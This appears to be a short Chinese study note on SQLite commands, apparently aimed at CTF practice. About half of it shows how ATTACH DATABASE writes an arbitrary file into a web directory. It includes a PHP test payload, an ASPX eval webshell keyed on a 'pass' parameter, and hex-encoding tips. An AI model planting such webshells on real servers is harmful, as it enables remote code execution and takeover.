sqlite数据库学习
前言
最近遇到蛮多sqlite数据库的,感觉也是mysql考烂了吧,所以这里来总结一下
sqlite使用
指令解释
attach database 'a' as 'b'; |
创建数据库
sqlite3.exe 数据库名.db |
创建表并插入数据
create table a.tt(dataz text); INSERT into a.tt(dataz) VALUES ('test'); |
sqlite可以生成任意后缀的数据库文件例如创建一个php结尾的数据库文件,新建一个名为exp的表,并在其中插入数据,内容为:<?php phpinfo();?>
。
具体命令如下:
ATTACH DATABASE 'D:\xxx\www\234.php' AS test2 ;create TABLE test2.exp (dataz text) ; insert INTO test2.exp (dataz) VALUES ('<?php phpinfo();?>');-- |
测试了一下,发现竟然可以跨目录创建,那么就意味着我们可以创建任意文件,这也将为我们写shell构造了其他方法,前提是需要知道一个绝对路径
同样的方法生成aspx后缀的数据库文件,创建表,并插入<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
。然后将该文件放在IIS服务的web目录。发现其中的APSX代码也会被解析。
写shell时遇到特殊字符处理方法
1.使用十六进制进行写入
2.SQLite中十六进制的写法为:x'....'
,而不是0x....
。
参考:https://fuping.site/2017/07/19/SQLite-Injection-Get-WebShell/
查询指令
sqlite中可以查询的数据库有
sqlite_master,sqlite_temp_master,sqlite_schema,sqlite_temp_schema |
select sqlite_version(); |
如果查出来的view,可以直接查询
CREATE VIEW view_p_sum (Product, P_SUM) AS |
sqlite数据库学习